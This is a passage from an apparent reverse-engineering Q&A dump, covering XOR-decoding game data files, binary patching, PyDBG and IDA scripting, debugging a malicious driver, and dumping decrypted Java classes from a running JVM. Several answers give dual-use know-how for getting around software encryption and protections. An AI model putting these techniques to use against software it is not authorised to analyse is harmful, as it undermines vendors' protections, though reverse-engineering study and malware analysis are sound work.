    By the way, this maybe would be usefull as a \"reference\", there is another .DAT file named \"word filter\" which (i suppose) has the \"bad words\" that are censored in the chat if the word filter is activated. This .DAT is inside the Localization folder.

    \n\n

    Here is a link with ALL the .DAT mentioned in this post

    \n\n

    I'll appreciate any kind of help on this, I did some research but I did not find anything that is usefull... the only thing that I know is: A person who has no knowledge about programing or \"some\" knowledge, could \"de-compress\" \"decrypt\" one of this files...or that is what looks like, and no, that person do not want to help me :c

    \n\n

    Thanks in advance again, and sorry for bad English:

    \n\n

    -Agust\u00edn

    \n", "Title": "Extract text data from a compressed/encrypted .DAT file", "Tags": "|decompilation|file-format|decryption|", "Answer": "

    These files are definitely not compressed. behavior_trees.dat is a binary file which is not encrypted and not compressed, just binary. Encryption, as far as I can see, looks like substitution cipher which should be relatively easy to crack with frequency analysis if you know what should be there. Assuming that decrypted content of files from older and newer versions are similar you can try to account frequencies of symbols on a base of files of previous versions.

    \n\n

    Here is what I'd do for decrypting (for example) assembly.dat file:

    \n\n
      \n
    1. Get a corresponding file from previous version which should be not encrypted.
      2. \n
    2. Account frequency of appearance of each symbol (should be easily done with simple python script)
      3. \n
    3. Account frequency of appearance of each symbol in newer version files.
      4. \n
    4. Try to replace symbols from the newer files to the symbols with same (or alike) appearance rate from the older file and see what happends.
      5. \n
    \n\n

    UPDATE, Just for the sake of completeness:

    \n\n

    I used an excellent tool XorSearch by Didier Stevens (it was mentioned by @Andy Dove in answer to another question, which reminded me to return to this one) and found out the following:

    \n\n\n\n

    Good luck.

    \n\n
    import os\nimport sys\n\nf = open(sys.argv[1], \"rb\")\no = open(sys.argv[2], \"wb\")\n\ndata = f.read()\n\nfor d in data:\n    o.write(\"\" + chr (ord(d) ^ 0x2a))\n\n\nf.close()\no.close()\n
    \n" }, { "Id": "11661", "CreationDate": "2015-12-31T07:03:24.927", "Body": "

    I became curious about how Trend Micro communicated with its servers so I gleaned some of the unique and standard HTTP headers that were being sent back and forth using Fiddler2. I created a winsock program in C++ that sends the following:

    \n\n
        GET /T/128/y2k-L48MLwdH0BuLxZvYxGjK5An-UV6lY772ppsBGZ3ojsPfa37NjMDonK98FPZesq5hXXOsV082oIdmeTaWURWiB4qqibZGVy8ZzCKKDLpZ9ekYPU7X4UgyBnKWFENX HTTP/1.1\n    Host: titanium80-en.url.trendmicro.com\n    User-Agent: TMUFE\n    Accept: /\n    X-TM-UF-INFO: 76/Uj3tcG7ArMH0ktdN_RiX6fLyEhB2sQWJhjJRJufMEMElv7j6EizpjjDSQd_cUW5fMormb8Q8FN4=\n    Connection: Keep-Alive\n
    \n\n

    Obviously I don't know what those encrypted values are because I only copied and pasted them from Fiddler to see what the server would reply with which was an encrypted string like so:

    \n\n
    XnbdFqiy5YGldi-HnN5y7pH0kZ03J_UsH-bZ5JUi0aNEj-aa1P8cQlU9I2b77Jf-Rgd1fepEqlTp\nH_LlvWDqe0YjWKvw01M1zkXx_iAbFIm9Ld_QcUTw9cQsNIok7-cOK8wKVyDR63SVwBjebXthWKh0kBW3\nwWn3Y0D7UoGDYSeSJfLoqSroByZligLXqEZ5\n
    \n\n

    I need to know where in the program, once I've decompiled it using something like Cheat Engine and have the hexadecimal, I can find the encryption or encoding being used and or a key.

    \n\n

    UPDATE: After using an encoding detector and suggestions from different people I tried decoding it as base64 but I keep getting symbols and gibberish as follows:\n\u00d6\u00c1\u00be\u00e4/\u00c6\u00bc0and //G\u00d0\u00c5\u00d8\u00c4. Any knowledge on this would be greatly appreciated. :)

    \n", "Title": "How would I go about finding an encryption key or cipher by decompiling a program?", "Tags": "|encryption|decryption|", "Answer": "

    Using IDA Pro, look for the strings TMUFE and/or X-TM-UF-INFO and find their cross-references. The code that references those strings is part of the code that makes those HTTP requests and handles (decrypts) the server's responses. You can thus analyze that code to determine how your program performs the decryption.

    \n\n

    If you'd like further help, you may want to post a link to the target program (assuming it's freeware/shareware/trialware and thus shareable).

    \n" }, { "Id": "11663", "CreationDate": "2015-12-31T13:38:01.643", "Body": "

    Generally when I have Vista application it upgrade few function from kernel32.dll

    \n\n

    most often being InitializeCriticalSection -> InitializeCriticalSectionEx

    \n\n

    Is it possibly to backport such? beside changing linker OSVersion.

    \n\n

    Edit: Just to be verbose, here is the example

    \n\n
    .text:0048CE4D                 xor     esi, esi\n.text:0048CE4F                 push    esi             ; Flags\n.text:0048CE50                 push    esi             ; dwSpinCount\n.text:0048CE51                 push    ecx             ; lpCriticalSection\n.text:0048CE52                 call    ds:InitializeCriticalSectionEx\n.text:0048CE58                 test    eax, eax\n
    \n\n

    hex dump:\n33 F6 56 56 51 FF 15 F0 C1 4A 00 85 C0

    \n", "Title": "How to backport Vista program to XP without source code?", "Tags": "|disassembly|windows|", "Answer": "

    It is easy as pie.

    \n\n
                    33 F6 56 56 51 FF 15 F0 C1 4A 00 85 C0\nchanged into -> 33 F6 90 90 51 FF 15 F0 C1 4A 00 85 C0\n                      ^^ ^^\n
    \n\n

    And change the String in Import table

    \n\n
    49 6E 69 74 69 61 6C 69 7A 65 43 72 69 74 69 63 61 6C 53 65 63 74 69 6F 6E 45 78 00 // InitializeCriticalSectionEx\n49 6E 69 74 69 61 6C 69 7A 65 43 72 69 74 69 63 61 6C 53 65 63 74 69 6F 6E 00 00 00  // InitializeCriticalSection \n                                                                           ^^ ^^\n
    \n" }, { "Id": "11669", "CreationDate": "2016-01-01T07:51:16.813", "Body": "

    I've been reading this PDF on reverse-engineering iOS applications and have reached slide 39, decrypting the binary. However, I've been attempting to disassemble and explore the binary in OS X 10.9.5 rather than iOS, since my phone is not jailbroken and I'd prefer not to do so.

    \n\n

    I downloaded the IPA file from the App Store by using a forward proxy running locally on my laptop to intercept the download request on my iPhone and replicate it on my laptop. From there I followed these directions to extract the encrypted binary from the IPA file, and used the directions from the PDF file to check whether it was encrypted. I confirmed that it was encrypted because the output from otool was:

    \n\n
    Load command 11\n          cmd LC_ENCRYPTION_INFO\n      cmdsize 20\n    cryptoff  8192\n    cryptsize 15187968\n    cryptid   1\n
    \n\n

    Is there a way to decrypt the DRM using only my Apple computer?

    \n", "Title": "Decrypting IPA Binary on OS X", "Tags": "|arm|decryption|osx|ios|", "Answer": "

    Currently you can't decrypt iOS apps without a device. The encryption keys are ultimately protected by an unknown key which is burned into the processor and cannot be extracted using software, that's why no \"offline\" decryption app has been made.

    \n" }, { "Id": "11671", "CreationDate": "2016-01-01T14:25:19.983", "Body": "

    I am interested in the following technique to detect if a debugger is attached or not.

    \n\n

    http://spareclockcycles.org/2012/02/14/stack-necromancy-defeating-debuggers-by-raising-the-dead/

    \n\n

    However I tried the examples and they don't seem to work.

    \n\n

    Do the Windows Debug API modify the debugee stack when they are attached or when they are present?

    \n\n

    Thanks !

    \n", "Title": "Detect Debugger exploring Stack", "Tags": "|anti-debugging|", "Answer": "

    The results in the article rely on details which are specific to the version of Windows and to the debugger which is present at the time. They have not been documented widely because they are so unreliable.

    \n\n

    Windows will inject a thread into an attached process in order to gather information about the process, which led to the \"DebugBreak overwrite\" technique to defeat it.

    \n\n

    There are additional checks which are performed when a debugged process is launched, which can result in altered stack state, but the whole thing is just chasing ghosts. The behavior of Windows could be changed at any time to reintroduce the behavior or change it in yet other ways.

    \n" }, { "Id": "11674", "CreationDate": "2016-01-01T20:05:18.703", "Body": "

    I have a small executable that I downloaded from the net, and that runs in the Command Line, which makes me think it may be a DOS program. The program works perfectly, but due to being developed by a non-English speaker, the interface/presentation of it needs to be cleaned up to make it look a little more professional. Is it possible to get to the file's source code and edit it?

    \n", "Title": "Is it possible to extract or otherwise edit the source code of an .exe file?", "Tags": "|windows|executable|dos-exe|", "Answer": "

    The short answer is no - the source is not available if only the .exe is available. The source code is an entirely separate file which is generally not shared with the public. However, given the .exe file, it might be possible to \"decompile\" it into a form of source code which would allow a new .exe file to be produced, and which should match the existing one fairly well when performing a byte-for-byte comparison.

    \n\n

    With that decompiled source code in hand, it would be possible to make modifications to the behavior or appearance of the program, but it would be far from trivial, since such relatively important things as variable names will not be present, so deriving the meaning of certain memory accesses will require a lot of time and effort.

    \n\n

    You would need to consider carefully if the effort is worth the reward.

    \n" }, { "Id": "11681", "CreationDate": "2016-01-02T21:55:42.297", "Body": "

    I found this post stating that Radare can work with Boomerang. However when I try do exactly as they say, I get the following error: sh: 1: rsc: not found.

    \n

    From what I can see, rsc is an extra utility that would have come in with Radare1. See here.

    \n

    I understand that ! causes Radare to execute a shell command so I therefore need the rsc utility. However I cannot find it anywhere!

    \n

    I'm using Radare2 0.10.0 compiled from git and Boomerang compiled from git as well.

    \n

    Does anyone know what the state of these two tools working together is?

    \n", "Title": "Radare2 and Boomerang", "Tags": "|radare2|", "Answer": "

    Hello o/ this is the radare1book concerning radare1, use the radare2book for radare2. Boomerang hasn't been yet added to r2 in this version, you can use pdc and retdec (see r2pm). We are actually working on radeco. But you can always contribute and maybe add back this support to r2 ? That would be interesting

    \n" }, { "Id": "11684", "CreationDate": "2016-01-03T02:43:22.947", "Body": "

    I am writing a python debugger and disassembler using the PyDBG library I have the disassembler part working, but not all of the debugger. Is it possible to use it to return something similar to:

    \n\n
    \n[*] Dumping registers for thread ID: 0x00000550\n[**] EIP: 0x7c90eb94\n[**] ESP: 0x0007fde0 \n[**] EBP: 0x0007fdfc \n[**] EAX: 0x006ee208\n[**] EBX: 0x00000000\n[**] ECX: 0x0007fdd8 \n[**] EDX: 0x7c90eb94 \n[*] END DUMP\n[*] Dumping registers for thread ID: 0x000005c0 \n[**] EIP: 0x7c95077b\n[**] ESP: 0x0094fff8 \n[**] EBP: 0x00000000\n[**] EAX: 0x00000000\n[**] EBX: 0x00000001\n[**] ECX: 0x00000002\n[**] EDX: 0x00000003\n[*] END DUMP\n
    \n\n

    I need the register state of every thread running. There are several thread_context functions in PyDBG but I'm not sure how to use them to get that result. Thanks for any help!

    \n", "Title": "Can I get different thread registers with PyDBG?", "Tags": "|debugging|python|thread|register|", "Answer": "

    :>wmic process get Name,ThreadCount,ProcessId | grep fire

    \n\n
    firefox.exe                3944       49\n
    \n\n

    :>cat dtregs.py

    \n\n
    from pydbg import *\nfrom pydbg.defines import *\ndef handler_breakpoint (pydbg):\n  if pydbg.first_breakpoint:\n    print \"hello did i dump tid and eax for each thread ?\"\n    return DBG_CONTINUE\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.attach(3944)\ni = 0;\nfor thread_id in dbg.enumerate_threads():\n  thread_handle  = dbg.open_thread(thread_id)\n  context = dbg.get_thread_context(thread_handle)\n  print \"%03d TID: %08x EAX: %08x\" % (i,thread_handle,context.Eax)\n  i = i+1\npydbg.debug_event_loop(dbg)\ndbg.detach()\n
    \n\n

    :>python dtregs.py

    \n\n
    000 TID: 00000690 EAX: 00000000\n001 TID: 0000068c EAX: 0158c385\n002 TID: 00000688 EAX: 001b4008\n003 TID: 00000684 EAX: 000000e5\n004 TID: 00000680 EAX: 00000000\n005 TID: 0000067c EAX: 001800a3\n006 TID: 00000678 EAX: 00000000\n007 TID: 00000674 EAX: 000000e5\n...............................\n048 TID: 000005d0 EAX: 77e76c7d\n049 TID: 000005cc EAX: 00000000\nhello did i dump tid and eax for each thread ?\n
    \n\n

    just to confirm if it is right to a certain degree lets attach windbg to pid
    \n:>cdb -p 3944
    \n0:049> ~* e r eax

    \n\n
    eax=09b6a201\neax=0158c385\neax=001b4008\neax=000000e5\neax=0036ee80\neax=00000171\neax=00000000\n--------------\neax=098f3ec0\neax=000000e5\neax=150ff530\neax=11d5ff00\neax=111fff00\neax=77e76c7d\neax=7ffdd000\n0:049> .detach\nDetached\nNoTarget> q\n
    \n" }, { "Id": "11688", "CreationDate": "2016-01-03T17:34:01.150", "Body": "

    I'd like to reverse engineer a car stereo front removable panel. It's a leftover from a broken car stereo. I'd like to do so by connecting the panel's 14 connections to Raspberry Pi 2 model B's GPIO pins and controlling the pins via a Python program. The idea is to be able to use the panel's display and buttons. The panel has an infrared receiver, so I may like to use that as well (if I manage to find the remote control).

    \n\n

    \"car\n\"car

    \n\n

    The car stereo is LG LAC-M3600R CD/MP3 player.

    \n\n

    Is this doable? If it is, where should I begin? Any advice is greatly appreciated.

    \n", "Title": "Reverse engineering car stereo panel", "Tags": "|hardware|python|", "Answer": "

    The first step is to figure out the purpose of each of those pins. The easiest way to do this is to Google for the LAC-M3600R's service manual (note that this is different from the user manual). That device's service manual contains the following diagram for the back of the faceplate:

    \n\n

    \"Pin

    \n\n

    As you can see above, the pins are (beginning from top-right, moving counter-clockwise):

    \n\n
     1. GND\n 2. KEY IN1\n 3. KEY IN2\n 4. LCD RES\n 5. LCD DO\n 6. LCD CLK\n 7. GND\n 8. LCD CE\n 9. VDD\n 10. LCD 9.4V\n 11. LED 9.4V\n 12. VR DN\n 13. VR UP\n 14. RMC\n
    \n\n

    You'd likely then need to use an ohmmeter to start measuring resistance, etc. for each pin and connect those pins to your Pi's GPIO pins (further questions in that arena would likely be better asked on https://electronics.stackexchange.com/.)

    \n" }, { "Id": "11707", "CreationDate": "2016-01-06T17:41:16.350", "Body": "

    I use the following script to set IDA in trace mode and make it stop as soon as EAX register is set to a given value :

    \n\n
    #include <idc.idc>\n\nstatic main()\n{\n    auto r_eip, code, eax;\n\n    EnableTracing(TRACE_STEP, 1);\n\n    for ( code = GetDebuggerEvent(WFNE_ANY|WFNE_CONT, -1); // resume\n        code > 0;\n        code = GetDebuggerEvent(WFNE_ANY, -1) )\n    {                  \n        r_eip = GetEventEa();\n\n        eax = GetRegValue(\"EAX\");\n        Message(\"EAX:%08Xh\\n\", eax);\n\n        if ( eax == 0x00000001 )\n            break;\n    }\n\n    PauseProcess();\n    EnableTracing(TRACE_STEP, 0);    \n}\n
    \n\n

    However it does not work : i get the following error message : \"Variable 'EAX' is undefined

    \n\n

    If i put the line with eax = GetRegValue(...) in comment, in run but then eax is always zero.

    \n\n

    The code is adapted from here :\nhttps://www.hex-rays.com/products/ida/debugger/scriptable.shtml

    \n", "Title": "How to stop IDA debugger when a register is set to a particular value?", "Tags": "|ida|ida-plugin|breakpoint|register|", "Answer": "

    You can use the following IDC script for the purpose. It would stop whenever register eax contains 0. The debugger must be running when the script is executed.

    \n\n
    #include <idc.idc>\n\nstatic main()\n{\n    for(;;)\n    {\n        StepInto();\n        if (GetDebuggerEvent(WFNE_SUSP, -1) == STEP)\n        {\n            if (eax == 0) \n            {\n                break;\n            }\n        }        \n    }\n    PauseProcess();\n}\n
    \n" }, { "Id": "11712", "CreationDate": "2016-01-07T10:50:01.333", "Body": "

    Modern operating systems have memory protections such as Data Execution Prevention, No Execute bit for Data, Read-only bit for text/code sections etc.\nI don't understand how packers work when these memory protections are in place.\nWhere do the packers unpack the compressed/encrypted binaries when the code pages are marked Read-Only and data pages are marked for No Execute?

    \n", "Title": "How can packers work despite mechanisms like Data Execution Prevention?", "Tags": "|packers|", "Answer": "

    The unpacker will request a page of memory from the OS that is marked write and unpack the code into there. Once the unpacking is done it will use VirtualProtect on windows or mprotect on posix compliant systems to change the protection bits to read-only and execute (or allocate the page as read-write+execute in the first place and skip making it read+execute-only).

    \n\n

    In other words the application gets enough control over the protection bits to do run-time code generation.

    \n" }, { "Id": "11715", "CreationDate": "2016-01-07T12:36:18.573", "Body": "

    I really like radare2 and I am trying to follow a tutorial in which some code is changed to data. The tutorial uses IDA, I have tryed this with radare2. I entered visual mode by pressing V and cursor mode by pressing c. I stepped to the code which I want to modify.

    \n\n
    |           0x00400440   *  31ed           xorl %ebp, %ebp             ; [12] va=0x00400440 pa=0x00000440 sz=386 vsz= \n|           0x00400442      4989d1         movq %rdx, %r9  \n
    \n\n

    After pressing dd the following output appeared:

    \n\n
    0x00400440 hex length=175 delta=0                                                                         \n0x00400440 |31ed 4989 d15e 4889 e248 83e4 f050 5449| 1.I..^H..H...PTI                                                 \n0x00400450 |c7c0 c005 4000 48c7 c150 0540 0048 c7c7| ....@.H..P.@.H..                                                 \n0x00400460 |3605 4000 e8b7 ffff fff4 660f 1f44 0000| 6.@.......f..D..                                                 \n0x00400470 |b847 1060 0055 482d 4010 6000 4883 f80e| .G.`.UH-@.`.H...                                                 \n0x00400480 |4889 e576 1bb8 0000 0000 4885 c074 115d| H..v......H..t.]                                                 \n0x00400490 |bf40 1060 00ff e066 0f1f 8400 0000 0000| .@.`...f........                                                 \n0x004004a0 |5dc3 0f1f 4000 662e 0f1f 8400 0000 0000| ]...@.f.........                                                 \n0x004004b0 |be40 1060 0055 4881 ee40 1060 0048 c1fe| .@.`.UH..@.`.H..                                                 \n0x004004c0 |0348 89e5 4889 f048 c1e8 3f48 01c6 48d1| .H..H..H..?H..H.                                                 \n0x004004d0 |fe74 15b8 0000 0000 4885 c074 0b5d bf40| .t......H..t.].@                                                 \n0x004004e0 |1060 00ff e00f 1f00 5dc3 660f 1f44 00  | .`......].f..D.                                                  \n                                                                       ; [12] va=0x00400440 pa=0x00000440 sz=386 vsz= \n            0x004004ef  ~   00803d490b20   addb %al, 0x200b493d(%rax) \n
    \n\n

    Pressing dd again disappears. After pressing dd again nothing happens. This happens with all new lines, but I think the bytes remain interpreted as code since they are disassembled. Plese show me ho can I do this in radare2. I haven't done this before in any disassembler.

    \n", "Title": "Changing code to data in radare2", "Tags": "|radare2|", "Answer": "

    Use Cd command for that:\nCd[-] [size] [@addr] Hexdump data\nIt will mark the selected block as a data.

    \n" }, { "Id": "11725", "CreationDate": "2016-01-09T00:27:22.983", "Body": "

    I'm trying to disassemble this code:

    \n\n
    int main()\n{\n    int arr[5] = {1,2,3,4,5};\n    int i;\n    for(i=0;i<5;i++)\n    {\n        printf(\"Element:%d\\n\",arr[i]);\n    }\n    return 0;\n}\n
    \n\n

    IDA output: sub esp, 30h

    \n\n

    Question: What does it mean? I thought it would be 18h(5x4+4)

    \n", "Title": "Stack and local variables", "Tags": "|ida|disassembly|", "Answer": "

    It seems like you are compiling under amd64 (which is quite likely in 2016 ;). Compiler allocates all stack memory (but not only, the same for function arguments) with alignment to 8 bits. You assume, that int is 32 bits, and it might me 32 bits on your machine, but compiler still will be allocating 8 bytes (64 bits). So 5*8+8=48 = 0x30.

    \n\n

    Try allocating an array of five chars (aka uint8_t). The compiler will still allocate 8 bytes * number of elements.

    \n\n

    Read about attribute packed (gcc) or pragma pack (Windows).

    \n" }, { "Id": "11727", "CreationDate": "2016-01-09T01:45:34.557", "Body": "

    Is it possible to get the name and path of a DLL that is loaded by the application using PyDBG and System_dll.py? I have a script and PyDBG handles loaded dlls with just:\ndbg.set_callback(LOAD_DLL_DEBUG_EVENT, handler_print_dll_loaded)

    \n\n

    Is there a way to get the loaded DLL's using tools in pydbg to return somthing similar to Immunity Debuggers Log Data window:

    \n\n

    67EE0000 Module C:\\windows\\SYSTEM32\\OLEPRO32.DLL\n 69E20000 Module C:\\windows\\SYSTEM32\\oledlg.dll\n 6F5E0000 Module C:\\windows\\SYSTEM32\\WINMMBASE.dll\n 6F7F0000 Module C:\\windows\\SYSTEM32\\WINMM.dll\n etc...

    \n", "Title": "Get DLL name with PyDBG and System_dll.py?", "Tags": "|debugging|debuggers|dll|python|", "Answer": "

    :>type ENUMMODS.PY

    \n\n
    import sys\nfrom pydbg import * \nfor modules in pydbg().attach(int(sys.argv[1])).enumerate_modules():\n    print modules\npydbg().detach()\n
    \n\n

    :>ENUMMODS.PY

    \n\n
    ('calc.exe', 12517376L)\n('ntdll.dll', 1999765504L)\n('kernel32.dll', 1970733056L)\n('KERNELBASE.dll', 1968111616L)\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n('oleacc.dll', 1836253184L)\n
    \n" }, { "Id": "11743", "CreationDate": "2016-01-11T15:25:02.670", "Body": "

    I got a malicious kernel mode driver from VirusTotal. Now, I am trying to debug it using Windbg.

    \n\n

    Below are the details of the setup:

    \n\n

    Host OS: Win 7 Ultimate 64-bit, Windbg version 6.11.x, VMWare Workstation and Guest OS: Win XP SP3

    \n\n

    I placed the kernel mode driver in Guest OS in the path: C:\\drivers\\test

    \n\n

    Added .sys extension to the kernel mode driver.

    \n\n

    In Windbg on Host OS, I attached to the guest OS through Named Pipe. Set the breakpoint to break at DriverEntry of the driver as shown below:

    \n\n
    bu malicious_driver!DriverEntry\n
    \n\n

    Then press g.

    \n\n

    In Guest OS, used OSR Driver Loader from osronline.com to load the driver.

    \n\n

    Browsed for the Driver, Registered the Service and started the Service.

    \n\n

    I break in Windbg however I receive the following error message:

    \n\n
    kd> bu malicious_driver!DriverEntry\nkd> g\n*** ERROR: Module load completed but symbols could not be loaded for malicious_driver.sys\nBreakpoint 0's offset expression evaluation failed.\nCheck for invalid symbols or bad syntax.\nWaitForEvent failed\nnt!DebugService2+0x11:\n8052e4c5 5d              pop     ebp\nkd> !drvobj malicious_driver\nDriver object (b25eb000) is for:\nb25eb000: is not a driver object\n
    \n\n

    Please note that I am able to successfully break at the DriverEntry of known legitimate Microsoft Windows OS drivers like ndis.sys, http.sys

    \n\n

    However, how do I break at the entry point of malicious drivers as in this case? I don't have the symbols for them either.

    \n\n

    Thanks.

    \n", "Title": "Unable to break at DriverEntry of malicious Driver", "Tags": "|windbg|kernel-mode|", "Answer": "

    Try \"break on module load\" (e.g. sxe ld malicious_driver.sys). When it's hit, you can check the driver's load address and set breakpoint by address.

    \n" }, { "Id": "11746", "CreationDate": "2016-01-12T11:35:21.080", "Body": "

    I have a couple of classes that are encrypted. The class loader must decrypt these before executing in the JVM.

    \n\n

    The question is, how and where?

    \n\n

    What can I do to understand who is responsible to decrypt these classes before deploy?

    \n", "Title": "Java - Decipher encrypted classes in a jar file", "Tags": "|encryption|java|byte-code|jar|", "Answer": "

    I also had this issue, where I was trying to decompile some java classes but they were all encrypted and I think there is a non obvious solution I would like to mention before I describe how to actually do the decrypting and that is:

    \n

    (1) Try and find an older version of the software that doesn't contain encrypted classes. If it is a public application you might be able to find older version on archive.org and it's very possible that the classes were not encrypted in the older version.

    \n
    \n

    However, if you are stuck with an encrypted jar, or java application loaded from a native application then there is a pretty obvious way to decrypt it, and the principle of how to do this are described in this infoworld article. But these are just the principles, how do you do this in practice?

    \n

    Well the most obvious way that I found is to dump the classes loaded by the jvm. The article describes making edits to .class files that pretty much do exactly this, but it's kinda hard to do this if your class files are loaded by a .exe or something. Whether you're trying to decrypt a java class that is loaded by a .exe/.dmg/.jar it will have to at some point touch a jvm - I think. Knowing this, we can use an external tool to do the dumping instead of editing the java program to dump its own files.

    \n

    At a high level the way to do this is:

    \n
      \n

    1. Download dumpclass.jar- this is the external tool that can look in the jvm and dump the classes we care about.

      \n
      2. \n

    2. Setup dumpclass.jar -\nThis step is a bit annoying because dumpclass.jar needs to run on the same jvm that is running your encrypted java classes. What makes it harder is that dumpclass.jar depends on some parts of the jdk which, if your application is using a .exe to launch itself, it can be pretty hard to use a specific jvm, like the one from the jdk, to launch it. Also it can be difficult if your java application will only run on an older version of the jvm, which doesn't support dumpclass.jar, or will only think java is installed if it finds a /jre/ folder on your computer, despite what you set the JVM_HOME environmental variable to. This step is actually a lot annoying and it's hard to give a step by step description because it depends a lot on what you're trying to reverse engineer. However, assuming your java application can run on a jvm that is higher than 1.6, because before that one of the dependencies of dumpclass works in a weird way, then ideally you will: (1a) install the jdk(!) of your choice. (1b) Run your java application with the jvm in the jdk...

      \n
      3. \n

    3. Run dumpclass.jar with the jvm in the jdk and make sure it can display a usage message

      \n
      4. \n

    4. Then you can get the process of the java application with the java classes you want to decrypt, if this is an exe you will use the exe process id.

      \n
      5. \n

    5. Run the dumpclass.jar command, on the process id, with a small modification. The original command asks you to give a filter so that you don't get every class on the jvm. However, I think it is much simpler to just get every class in the jvm and the browse to the one you are looking for in once they have been dumped. Specifically, while the dumpclass docs say you should do this java -jar dumpclass.jar -p 4345 *StringUtils rather do this java -jar dumpclass.jar -p 4345 - the files should all be dumped right next to the location of the dumpclass jar. And then you can browse through them to find the decrypted .class files of the application you care about.

      \n
      6. \n
    \n

    NB: If dumpclass says 0 classes dumped after you run it, but takes a while to do the dumping, ignore it, the classes were dumped and for some reason it is not reporting the correct number of classes. If you don't see the classes next to dumpclass.jar try setting the output path explicitly.

    \n

    Some other tips:

    \n\n" }, { "Id": "11752", "CreationDate": "2016-01-13T05:50:10.070", "Body": "

    An APK I'm working on uses some sort of algorithm to generate a hash which is sent along with an HTTP request. I want to figure out how the algorithm works.

    \n\n

    Decompiling the APK to Java is of no help at all because it is much too obfuscated and there is clearly a ton of jumping around to separate files, it's impossible to follow.

    \n\n

    Analysing the SMALI is much more helpful, but still very difficult to follow due to the use of many different files, and also the generic/meaningless function names.

    \n\n

    I have IDA Pro but I don't have the Hex rays decompiler. There is also an extremely small amount of tutorials on using IDA Pro with Android. Is IDA Pro useless here? Smali is definitely easier to understand than the raw machine code instructions.

    \n\n

    What are my options for analysing and figuring out this algorithm?

    \n\n

    Thank you for your suggestions

    \n", "Title": "Android - Analyzing complex hash algorithm", "Tags": "|ida|android|decompile|apk|", "Answer": "

    IDA PRO is useful for analyzing native code. Hex-Rays decompiler decompiles ARM and x86/x64, not java. For your specific case IDA pro would be useful if this hashing algorithm would be compiled in native code and called with JNI like interface.

    \n\n

    For your specific case IDA is almost useless because almost all of its advantages related to native code analysis.

    \n" }, { "Id": "11755", "CreationDate": "2016-01-13T11:34:49.107", "Body": "

    If you have an execution trace of a program, and know it uses say AES for encryption.

    \n\n

    Can you isolate the instructions for encryption with that knowledge alone?

    \n", "Title": "Isolating encrypt/decrypt instructions in an execution trace", "Tags": "|encryption|tracing|", "Answer": "

    Generally speaking, it depends on the platform. For example, if the software uses Intel AES extensions it is possible to find the corresponding instructions in the disassembly. If the software is compiled for other platforms and uses specific hardware accelerators it is possible to find it by accesses to specific addresses of the accelerators registers.

    \n\n

    If there is no specific accelerator or specific instruction set it is possible to find S-BOX constants and check which instructions are accessing it.

    \n\n

    There are some plugins for IDA that able to do this work for you, for example\nFindCrypt2.

    \n\n

    In addition there is a presentation from recon conference about locating such an algorithms in obfuscated code here.

    \n" }, { "Id": "11758", "CreationDate": "2016-01-14T04:55:52.057", "Body": "

    I want to clone ollydbg's functionalities in vb6, so I could write my own tools easier then using it's scripting engine.

    \n\n

    I started of with trying to map the memory map's addresses exactly the same way ollydbg does it.

    \n\n

    \"ollyview\"

    \n\n

    The PE header is at 0x00400000 with Size 0x1000

    \n\n

    I assume the 0x00400000 is retrieved like so.

    \n\n
    Dim AddressOfPE As Long = NTHEADER.OptionalHeader.ImageBase\n
    \n\n

    Now I want to map the addresses for all the other stuff most importantly .text .rdata but I wouldn't mind having them all.

    \n\n

    what I tried is this

    \n\n
    For u = 0 To UBound(SECTIONSHEADER)\n    AddressStart = AddressOfPE + SECTIONSHEADER(u).VirtualAddress\n    Debug.Print \"(\" & u & \") \" & SECTIONSHEADER(u).nameSec & _\n    \" AddressStart = \" & Hex(AddressStart) & _\n    \" VirtualAddress = \" & Hex(SECTIONSHEADER(u).VirtualAddress) & _\n    \" VirtualSize = \" & Hex(SECTIONSHEADER(u).VirtualSize) & _\n    \" SizeOfRawData = \" & Hex(SECTIONSHEADER(u).SizeOfRawData)\n    'Hunt for strings\n    If SECTIONSHEADER(u).nameSec = \".rdata\" Or SECTIONSHEADER(u).nameSec = \".data\" Then\n        MsgBox \"a\"\n    End If\n    AddressEnd = AddressStart + SECTIONSHEADER(u).SizeOfRawData\n    Debug.Print \"(\" & u & \") \" & SECTIONSHEADER(u).nameSec & _\n    \" AddressEnd(?) = \" & Hex(AddressEnd) & _\n    \" OllyAddressEnd(?) = \" & Hex(SECTIONSHEADER(u).SizeOfRawData)\nNext u\n
    \n\n

    Debug log looks like this

    \n\n
    (0) .text  AddressStart = 401000 VirtualAddress = 1000 VirtualSize = 1FAB3AD SizeOfRawData = 1FAB400\n(0) .text  AddressEnd(?) = 23AC400 OllyAddressEnd(?) = 1FAB400\n(1) .rdata AddressStart = 23AD000 VirtualAddress = 1FAD000 VirtualSize = 855586 SizeOfRawData = 855600\n(1) .rdata AddressEnd(?) = 2C02600 OllyAddressEnd(?) = 855600\n(2) .data  AddressStart = 2C03000 VirtualAddress = 2803000 VirtualSize = 2D045C4 SizeOfRawData = 1DF000\n(2) .data  AddressEnd(?) = 2DE2000 OllyAddressEnd(?) = 1DF000\n(3) .rsrc  AddressStart = 5908000 VirtualAddress = 5508000 VirtualSize = 105CC SizeOfRawData = 10600\n(3) .rsrc  AddressEnd(?) = 5918600 OllyAddressEnd(?) = 10600\n
    \n\n

    Looking at this image seems I got it all right? but the size addresses are off.

    \n\n

    \"pe101

    \n", "Title": "How do you calculate Address Start / Size of PE Section like .rdata / .data", "Tags": "|ollydbg|pe|vb6|", "Answer": "

    Dang I solved it, I thought you had to add the previous section size to create new section address but it doesn't work like that.

    \n\n

    Still got a little bug where VirtualSize is smaller then OllyDbg's Memory Map Sizes for that section, but it seems SizeOfRawData is more accurate sometimes?

    \n\n

    But I guess I could fix this by taking the previous StartAddress for each section and subtracting one from it to get the End Size.

    \n\n

    I guess I could mark this solved.

    \n\n
